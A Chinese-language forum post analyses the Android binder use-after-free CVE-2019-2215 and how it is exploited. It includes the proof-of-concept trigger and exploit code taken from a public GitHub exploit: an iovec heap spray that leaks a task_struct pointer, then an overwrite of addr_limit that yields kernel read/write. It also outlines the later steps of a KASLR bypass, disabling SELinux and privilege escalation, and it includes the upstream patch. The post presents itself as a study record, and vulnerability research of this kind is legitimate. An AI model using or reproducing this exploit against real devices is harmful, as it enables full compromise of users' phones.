12558网页游戏私服论坛

 找回密码
 立即注册
游戏开服表 申请开服
游戏名称 游戏描述 开服状态 游戏福利 运营商 游戏链接
攻城掠地-仿官 全新玩法,觉醒武将,觉醒技能 每周新区 经典复古版本,长久稳定 进入游戏
巅峰新版攻 攻城掠地公益服 攻城掠地SF 新兵种、新武将(兵种) 进入游戏
攻城掠地公 散人玩家的天堂 新开 进入游戏
改版攻城掠 上线即可国战PK 稳定新区 全新改版,功能强大 进入游戏
少年江山 高福利高爆率 刚开一秒 江湖水落潜蛟龙 进入游戏
太古封魔录 开服送10亿钻石 福利多多 不用充钱也可升级 进入游戏
神魔之道 签到送元宝 稳定开新区 送豪华签到奖励 进入游戏
神奇三国 统帅三军,招揽名将 免费玩新区 激情国战,征战四方 进入游戏
龙符 三日豪礼领到爽 天天开新区 助你征战无双 进入游戏
王者之师 免费领豪华奖励 免费玩新区 6元送6888元宝 进入游戏
查看: 243|回复: 0

CVE-2019-2215漏洞学习及利用

[复制链接]

59

主题

59

帖子

128

积分

实习版主

Rank: 7Rank: 7Rank: 7

积分
128
发表于 2020-7-7 21:40:22 | 显示全部楼层 |阅读模式
本贴仅作学习过程记录,勿用作其他用途
很久不来发帖了,今年最后一天,还是写点啥吧。我也是刚刚接触安卓漏洞的小白,之前只接触过一个水滴,若写的不对,欢迎各位大佬指出,共同进步。

本贴主要针对git上开源的CVE-2019-2215 exp源码以及该漏洞原理展开分析,当然该exp还有很大局限性,后续适配方面还得做很多工作。

漏洞介绍:
        CVE-2019-2215由Google公司Project Zero小组发现,并被该公司的威胁分析小组(TAG)确认其已用于实际攻击中。TAG表示该漏洞利用可能跟一家出售漏洞和利用工具的以色列公司NSO有关,随后NSO集团发言人公开否认与该漏洞存在任何关系。该漏洞实质是内核代码一处UAF漏洞,成功利用可以造成本地权限提升,并有可能完全控制用户设备。但要成功利用该漏洞,需要满足某些特定条件。
漏洞详情:  
直接看公开的一段概念证明:
[C] 纯文本查看 复制代码#include #include #include #include #define BINDER_THREAD_EXIT 0x40046208ulint main(){        int fd, epfd;        struct epoll_event event = { .events = EPOLLIN };        fd = open("/dev/binder0", O_RDONLY);        epfd = epoll_create(1000);        epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);        ioctl(fd, BINDER_THREAD_EXIT, NULL);}

官方描述为:
[size=13.3333px]binder_poll() passes the thread->wait waitqueue that
can be slept on for work. When a thread that uses
epoll explicitly exits using BINDER_THREAD_EXIT,
the waitqueue is freed, but it is never removed
from the corresponding epoll data structure. When
the process subsequently exits, the epoll cleanup
code tries to access the waitlist, which results in

[size=13.3333px]a use-after-free.
原理其实很简单,当使用epoll的线程调用BINDER_THREAD_EXIT,binder_thread被释放;而当进程结束或epoll主动调用EPOLL_CTL_DEL时,将会遍历到释放掉的binder_thread中的wait[C] 纯文本查看 复制代码struct binder_thread {        struct binder_proc *proc;        struct rb_node rb_node;        struct list_head waiting_thread_node;        int pid;        int looper;              /* only modified by this thread */        bool looper_need_return; /* can be written by other thread */        struct binder_transaction *transaction_stack;        struct list_head todo;        bool process_todo;        struct binder_error return_error;        struct binder_error reply_error;        wait_queue_head_t wait;        struct binder_stats stats;        atomic_t tmp_ref;        bool is_dead;        struct task_struct *task;};注意其等待队列wait_queue_head_t,该字段正是触发uaf的点,其结构如下:typedef struct __wait_queue_head wait_queue_head_t;
struct __wait_queue_head {
    spinlock_t      lock;
    struct list_head    task_list;
};

list_head就是个双向链表但当进程退出的时候,或者是我们主动调用EPOLL_CTL_DEL时,epoll删除操作会使用到binder_thread->wait,造成UAF。
[C] 纯文本查看 复制代码static long binder_ioctl(struct file *filp, unsigned int cmd, unsigned long arg){        int ret;        struct binder_proc *proc = filp->private_data;        struct binder_thread *thread;        unsigned int size = _IOC_SIZE(cmd);......        case BINDER_THREAD_EXIT:                binder_debug(BINDER_DEBUG_THREADS, "%d:%d exit\n",                             proc->pid, thread->pid);                binder_thread_release(proc, thread);                thread = NULL;                break;......}
通过3.18.70内核源码找到UAF free部分,binder_ioctl调用BINDER_THREAD_EXIT时,调用了binder_thread_release,有的内核代码是直接调用的binder_free_thread。
最终在binder_free_thread中kfree掉thread。
[C] 纯文本查看 复制代码static int binder_thread_release(struct binder_proc *proc,                                 struct binder_thread *thread){......if (send_reply)                binder_send_failed_reply(send_reply, BR_DEAD_REPLY);        binder_release_work(proc, &thread->todo);        binder_thread_dec_tmpref(thread);        return active_transactions;......}/////////////////////////////////static void binder_thread_dec_tmpref(struct binder_thread *thread){......                binder_free_thread(thread);                return;        }......}///////////////////////////////static void binder_free_thread(struct binder_thread *thread){        BUG_ON(!list_empty(&thread->todo));        binder_stats_deleted(BINDER_STAT_THREAD);        binder_proc_dec_tmpref(thread->proc);        put_task_struct(thread->task);        kfree(thread);}
after use部分,之前释放的binder_thread在eppoll_entry中再次被使用
[C] 纯文本查看 复制代码static void ep_unregister_pollwait(struct eventpoll *ep, struct epitem *epi){        struct list_head *lsthead = &epi->pwqlist;        struct eppoll_entry *pwq;        while (!list_empty(lsthead)) {                pwq = list_first_entry(lsthead, struct eppoll_entry, llink);                list_del(&pwq->llink);                ep_remove_wait_queue(pwq);                kmem_cache_free(pwq_cache, pwq);        }}static void ep_remove_wait_queue(struct eppoll_entry *pwq){......    whead = smp_load_acquire(&pwq->whead);        if (whead)                remove_wait_queue(whead, &pwq->wait);......}void remove_wait_queue(wait_queue_head_t *q,wait_queue_t *wait){......        __remove_wait_queue(q, wait);......}
而此时的q指向的数据已经被释放,触发了内核崩溃。当然也有可能这片空间又被申请了或其他原因,导致q仍指向有效的数据,所以该poc并不能有效地判断出自己手机上是否存在该漏洞__remove_wait_queue再往下看,EPOLL_CTL_DEL本质上就是一个链表的删除操作,next->prev=prev。
[C] 纯文本查看 复制代码static inline void __remove_wait_queue(wait_queue_head_t *head,wait_queue_t *old){        list_del(&old->task_list);}static inline void list_del(struct list_head *entry){        __list_del(entry->prev,entry->next);        entry->next = LIST_POISON1;        entry->prev = LIST_POSION2;}static inline void __list_del(struct list_head *prev,struct list_head *next){        next->prev=prev;        WRITE_ONCE(prev->next,next);}


漏洞利用:     
测试手机为px2,内核版本4.4.155.     
利用的核心是用iovec这个结构体去占位释放的binder_thread,该方法最早由keen实验室提出。64位下iovec大小仅为0x10,可以很方便地控制我们所需要的字段以及kmalloc的大小,当然在适配过程中也存在wait与之未对齐的情况。

[C] 纯文本查看 复制代码struct iovec{     void *iov_base; /* Pointer to data. */     size_t iov_len; /* Length of data. */};
利用readv,wreitev time-of-check time-of-use机制绕过其对iov_base是否为用户态地址的检查,并kmalloc出空间对binder_thread进行占位[C] 纯文本查看 复制代码static ssize_t do_readv_writev(int type, struct file *file,                               const struct iovec __user * uvector,                               unsigned long nr_segs, loff_t *pos){......ret = rw_copy_check_uvector(type, uvector, nr_segs,                                    ARRAY_SIZE(iovstack), iovstack, &iov);......}///////////////////ssize_t rw_copy_check_uvector(int type, const struct iovec __user * uvector,         unsigned long nr_segs, unsigned long fast_segs,         struct iovec *fast_pointer,         struct iovec **ret_pointer){unsigned long seg; ssize_t ret; struct iovec *iov = fast_pointer; /*  * SuS says "The readv() function *may* fail if the iovcnt argument  * was less than or equal to 0, or greater than {IOV_MAX}.  Linux has  * traditionally returned zero for zero segments, so...  */ if (nr_segs == 0) {  ret = 0;  goto out; } /*  * First get the "struct iovec" from user memory and  * verify all the pointers  */ if (nr_segs > UIO_MAXIOV) {  ret = -EINVAL;  goto out; } if (nr_segs > fast_segs) {  iov = kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL);  if (iov == NULL) {   ret = -ENOMEM;   goto out;  } } if (copy_from_user(iov, uvector, nr_segs*sizeof(*uvector))) {......}
leak info:
   直接看exp源码,首先是内核信息泄露部分:
[C] 纯文本查看 复制代码struct epoll_event event = { .events = EPOLLIN };  if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");  struct iovec iovec_array[IOVEC_ARRAY_SZ];  memset(iovec_array, 0, sizeof(iovec_array));  iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */  iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0x1000; /* wq->task_list->next */  iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */  iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x1000;   int b; int pipefd[2]; if (pipe(pipefd)) err(1, "pipe"); if (fcntl(pipefd[0], F_SETPIPE_SZ, 0x1000) != 0x1000) err(1, "pipe size"); static char page_buffer[0x1000];
首先根据binder_thread大小构造了个0x190/0x10个iovec,且只对iovec_array[0xa]以及iovec_array[0xa+1]进行了初始化操作。
在该内核中,wait在binder_thread 中的偏移为0xA0,iovec结构体大小为0x10,与之对应的即为iovec_array[0xa].iov_base。
该偏移可以在zImage中调用binder_thread->wait处利用IDA找到,有很多地方。之后设置pipe size为0x1000。
触发时先调用BINDER_THREAD_EXIT释放binder_thread,紧接着调用writev进行占位,内核调用kmalloc占位刚刚释放的binder_thread。此时由于iovec_array数组0-9全为0,所以直接从iovec_array[0xa]进行写入。
而iovec_array[0xa].iov_len刚好等于设置的管道的大小,且iovec_array[0xa+1].iov_base是未被申请的地址,所以在此阻塞住等待读取。
接着子进程调用EPOLL_CTL_DEL,task_list进行链表unlink,iovec_array[0xa].iov_base被当作自旋锁。
由于自旋锁只占4字节,而我们可以传入一个8字节的mmap出的地址,只要其低位全0则可以不造成崩溃。
iovec_array[0xa].iov_len以及iovec_array[0xa+1].iov_base则会被当做wait->task_list->next以及wait->task_list->prev,在unlink之后这两个指针则会指向自己的task_list(即iovec_array[0xa].iov_len占位的位置),造成内核信息泄露。
子进程先读取0x1000长度无效数据,并解除管道阻塞;
父进程再次调用readv读取出指向wait->task_list的wait->task_list->prev通过binder_thread->wait->task_list加0xe8偏移获取到最后的task_struct指针。

[Asm] 纯文本查看 复制代码 if (fork_ret == 0){    /* Child process */    prctl(PR_SET_PDEATHSIG, SIGKILL);    sleep(2);    printf("CHILD: Doing EPOLL_CTL_DEL.\n");    epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);    printf("CHILD: Finished EPOLL_CTL_DEL.\n");    // first page: dummy data    if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");    close(pipefd[1]);    printf("CHILD: Finished write to FIFO.\n");    exit(0);  }  //printf("PARENT: Calling READV\n");  ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);  b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);  printf("writev() returns 0x%x\n", (unsigned int)b);  // second page: leaked data  if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");   printf("PARENT: Finished calling READV\n");  int status;  if (wait(&status) != fork_ret) err(1, "wait");  current_ptr = *(unsigned long *)(page_buffer + 0xe8);  printf("current_ptr == 0x%lx\n", current_ptr);
在谷歌内核中,task_struct第一个字段为thread_info,thread_info中第二个字段addr_limit十分重要,它确保了用户态无法传递内核指针。
[C] 纯文本查看 复制代码struct task_struct {#ifdef CONFIG_THREAD_INFO_IN_TASK        /*         * For reasons of header soup (see current_thread_info()), this         * must be the first element of task_struct.         */        struct thread_info thread_info;#endif        volatile long state;        /* -1 unrunnable, 0 runnable, >0 stopped */        void *stack;        atomic_t usage;        unsigned int flags;        /* per process flags, defined below */        ......}//////////////struct thread_info{      unsigned long flags;       mm_segment_t  addr_limit;      ......}

patch addr_limit:    我们需要做的就是将其patch掉,也是第二次利用:    [C] 纯文本查看 复制代码struct epoll_event event = { .events = EPOLLIN };  if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");  struct iovec iovec_array[IOVEC_ARRAY_SZ];  memset(iovec_array, 0, sizeof(iovec_array));  unsigned long second_write_chunk[] = {    1, /* iov_len */    0xdeadbeef, /* iov_base (already used) */    0x8 + 2 * 0x10, /* iov_len (already used) */    current_ptr + 0x8, /* next iov_base (addr_limit) */    8, /* next iov_len (sizeof(addr_limit)) */    0xfffffffffffffffe /* value to write */  };  iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */  iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1; /* wq->task_list->next */  iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */  iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x8 + 2 * 0x10; /* iov_len of previous, then this element and next element */  iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD;  iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8; /* should be correct from the start, kernel will sum up lengths when importing */  int socks[2];  if (socketpair(AF_UNIX, SOCK_STREAM, 0, socks)) err(1, "socketpair");  if (write(socks[1], "X", 1) != 1) err(1, "write socket dummy byte");   pid_t fork_ret = fork();  if (fork_ret == -1) err(1, "fork");  if (fork_ret == 0){    /* Child process */    prctl(PR_SET_PDEATHSIG, SIGKILL);    sleep(2);    printf("CHILD: Doing EPOLL_CTL_DEL.\n");    epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);    printf("CHILD: Finished EPOLL_CTL_DEL.\n");    if (write(socks[1], second_write_chunk, sizeof(second_write_chunk)) != sizeof(second_write_chunk))      err(1, "write second chunk to socket");    exit(0);  }  ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);  struct msghdr msg = {    .msg_iov = iovec_array,    .msg_iovlen = IOVEC_ARRAY_SZ  };  int recvmsg_result = recvmsg(socks[0], &msg, MSG_WAITALL);  printf("recvmsg() returns %d, expected %lu\n", recvmsg_result,      (unsigned long)(iovec_array[IOVEC_INDX_FOR_WQ].iov_len +      iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len +      iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len));
和之前类似,先BINDER_THREAD_EXIT释放,紧接着recvmsg使用iovec占位并阻塞住等待写入。
此时,iovec_array[0xa]大小为1已经写入,所以即使后面iov_len发生改变也没有影响接下来,子进程调用EPOLL_CTL_DEL,unlink后,iovec_array[0xa].iov_len以及iovec_array[0xa+1].iov_base也都分别指向了自己的task_list(即iovec_array[0xa].iov_len占位的位置)当再次调用write写入时,会将0x8 + 2 * 0x10大小的数据写入iovec_array[0xa+1].iov_base指向处(即iovec_array[0xa].iov_len),写入的内容是精心构造的。
即写入iovec_array[0xa].iov_len=1,iovec_array[0xa+1].iov_base=0xDEADBEEF,iovec_array[0xa+1].iov_len=0x8 + 2 * 0x10,iovec_array[0xa+2].iov_base=current_ptr + 0x8,iovec_array[0xa+2].iov_len=8最后还剩一个长度为8的数据(0xfffffffffffffffe)将写入iovec_array[0xa+2].iov_base,此时iovec_array[0xa+2].iov_base已经在前一步变为current_ptr + 0x8(addr_limit)。
至此,就patch了addr_limit,拥有了内核读写权限,接下来就是常规操作,通过符号表获取一些地址的偏移,计算基址过掉kaslr,禁用selinux,提权balabala....


后续改进:     
适配过程中,主要的问题出在binder_thread结构中,比如看一下vivo_y15s的内核源码,binder_thread结构最后不再有task_struct结构,使得该方案不再可行。[C] 纯文本查看 复制代码struct binder_thread {        struct binder_proc *proc;        struct rb_node rb_node;        int pid;        int looper;        struct binder_transaction *transaction_stack;        struct list_head todo;        uint32_t return_error; /* Write failed, return error code in read buf */        uint32_t return_error2; /* Write failed, return error code in read */                /* buffer. Used when sending a reply to a dead process that */                /* we are also waiting on */        wait_queue_head_t wait;        struct binder_stats stats;#ifdef BINDER_PERF_EVAL        struct binder_timeout_stats to_stats;#endif};
     因此,在无法直接patch掉addr_limit情况下,我们得找更加通用的信息泄露点来过掉kaslr。比如可以不选择binder_thread泄露,而epoll EPOLL_CTL_ADD两次,再EPOLL_CTL_DEL获取到epoll附近的内存结构,再通过特征匹配获取到epoll相关函数加载地址并计算出kernel_slide。passkaslr后再用比较通用的提权方法内核镜像攻击,伪造swapper_pg_dir,并将描述符写入该地址。     由于可以实现任意地址写,所以上述方法也十分简单。但当binder_thread->wait不再与iovec对齐,比如偏移为0x98时,就需要重新构造iovec,且其会同时影响到同一个iov_base和iov_len。针对这种情况,不知是否还能直接实现任意地址写,又或者需要构建ROP链进行利用。望有研究过此洞的大佬告知         
最后 附上官方补丁方案,只需在free掉binder_thread之前,清理一下thread->wait即可
[C] 纯文本查看 复制代码diff --git a/drivers/android/binder.c b/drivers/android/binder.cindex a340766..2ef8bd2 100644--- a/drivers/android/binder.c+++ b/drivers/android/binder.c@@ -4302,6 +4302,18 @@ static int binder_thread_release(struct binder_proc *proc,                 if (t)                         spin_lock(&t->lock);         }++        /*+         * If this thread used poll, make sure we remove the waitqueue+         * from any epoll data structures holding it with POLLFREE.+         * waitqueue_active() is safe to use here because we're holding+         * the inner lock.+         */+        if ((thread->looper & BINDER_LOOPER_STATE_POLL) &&+            waitqueue_active(&thread->wait)) {+                wake_up_poll(&thread->wait, POLLHUP | POLLFREE);+        }+         binder_inner_proc_unlock(thread->proc);          if (send_reply)

2020.01.09
更一下,期间遇到了wait偏移未0x10对齐的情况,有0x98,0x48的,但都通过其他开源exp利用方式适配好了。信息泄露的点要想适配更多的话不能用exp中方案,最后还是通过泄露epoll周围相关函数,利用内核镜像攻击进行的提权
参考链接
https://github.com/marcinguy/CVE-2019-2215/

https://bbs.pediy.com/thread-248444.htm
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/drivers/android/binder.c?h=linux-4.14.y&id=7a3cee43e935b9d526ad07f20bf005ba7e74d05b



来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
楼主热帖
回复

使用道具 举报

*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|12558网页游戏私服论坛 |网站地图

GMT+8, 2024-5-19 00:09 , Processed in 0.105468 second(s), 31 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表